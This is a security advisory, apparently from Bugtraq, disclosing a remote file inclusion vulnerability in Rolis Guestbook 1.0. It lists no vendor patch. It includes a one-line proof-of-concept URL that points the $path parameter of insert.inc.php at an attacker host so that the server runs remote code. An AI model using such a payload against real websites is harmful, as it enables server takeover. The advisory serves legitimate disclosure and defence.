Koch Roland Rolis Guestbook $path Remote File Include Vulnerability

Bugtraq ID:	9054
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 17 2003 12:00AM
Updated:	Nov 17 2003 12:00AM
Credit:	The disclosure of this issue has been credited to RusH security team <http://www.rsteam.ru>.
Vulnerable:	Koch Roland Rolis Guestbook 1.0
Not Vulnerable:

Koch Roland Rolis Guestbook $path Remote File Include Vulnerability

It has been reported that Rolis Guestbook may be vulnerable to an input validation issue that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system.

Rolis Guestbook version 1.0 has been reported to be prone to this issue, however other versions may be affected as well.

Koch Roland Rolis Guestbook $path Remote File Include Vulnerability

The following proof of concept has been provided:

http://www.example.com/rolis_book_path/insert.inc.php?path=http://hacker.com/

Koch Roland Rolis Guestbook $path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Koch Roland Rolis Guestbook $path Remote File Include Vulnerability

References:

• Rolis Guestbook (Koch Roland)
  
• Rolis Guestbook v1.0 - PHP injection ([email protected])